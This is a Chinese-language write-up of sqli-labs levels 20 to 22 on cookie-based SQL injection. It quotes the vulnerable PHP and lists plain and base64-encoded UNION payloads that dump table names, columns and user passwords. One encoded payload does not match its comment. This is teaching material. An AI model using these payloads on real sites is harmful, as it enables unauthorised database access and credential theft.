異常處理

一開始開啟這個題目的時候找不到cookie...
登入成功就是沒有cookie

cookie注入沒有cookie...
第二天重新做的時候，同學講自己設定cookie可以用
用外掛EditThiscookie新增

可以開始注入了！

知識點

cookie注入，簡單地講就是注入點在cookie。對於cookie的過濾總是不如直接傳入的資料那麼嚴格

做題過程

原始碼(部分)

.
.
.
//前面的一部分對使用者名稱和密碼有嚴格過濾，但是這裡可以看到是直接從header中獲取資料
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';	
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";	
echo '<font color= "cyan" font size="4">';	
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
echo "</font><br>";			
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';			
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
			
			
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";//沒有對cookie做任何處理，直接傳入了資料庫
$result=mysql_query($sql);
if (!$result)
  	{
  	die('Issue with your mysql: ' . mysql_error());//打印出錯誤資訊
  	}
.
.
.
 

測試欄位

payload:' order by 3#
payload:' order by 4#


欄位數為3

資料庫

payload:'union select database(),database(),database()#
個人習慣，沒有測回顯在哪個欄位，所有位置先填上database()

result:security

表

payload:'union select database(),database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

欄位

payload:'union select database(),( select group_concat( column_name ) from information_schema.columns where table_name='users'),null#

result:id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

值

payload:'union select null,(select group_concat(id,0x3a,username,0x3a,password) from security.users),null#

less-21

思路

基本和less-20是相同的，但是對於cookie有一個base64加密解密的過程，同時還用()把cookie包了起來，所以構造的時候注意下，把上面的複製貼上base64就可以
關鍵原始碼

$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

payload:

1.Jykgb3JkZXIgYnkgMyM=
//') order by 3#
2.JykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksZGF0YWJhc2UoKSxkYXRhYmFzZSgpIw==
//') union select database(),database(),database()#
3.JykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksZGF0YWJhc2UoKSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpIw==
//') union select database(),database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
4.JykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksKCBzZWxlY3QgZ3JvdXBfY29uY2F0KCBjb2x1bW5fbmFtZSApIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnKSxudWxsIw==
//') union select database(),( select group_concat( column_name ) from information_schema.columns where table_name='users'),null#
5.JykgdW5pb24gc2VsZWN0IG51bGwsKHNlbGVjdCBncm91cF9jb25jYXQoaWQsMHgzYSx1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSxudWxsIw==
//') union select null,(select group_concat(id,0x3a,username,0x3a,password) from security.users),null#

less-22

思路

差不多，多了一個"拼接，然後還是有base64加密解密，同上。
關鍵原始碼

$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

payload

1.b3JkZXIgYnkgMyM=
//" order by 3#
2.IiB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSxkYXRhYmFzZSgpLGRhdGFiYXNlKCkj
//" union select database(),database(),database()#
3.IiB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSxkYXRhYmFzZSgpLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5Jykj
//" union select database(),database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
4.IiB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSwoIHNlbGVjdCBncm91cF9jb25jYXQoIGNvbHVtbl9uYW1lICkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2VycycpLG51bGwj
//" union select database(),( select group_concat( column_name ) from information_schema.columns where table_name='users'),null#
5.IiB1bmlvbiBzZWxlY3QgbnVsbCwoc2VsZWN0IGdyb3VwX2NvbmNhdChpZCwweDNhLHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMpLG51bGwj
//" union select null,(select group_concat(id,0x3a,username,0x3a,password) from security.users),null#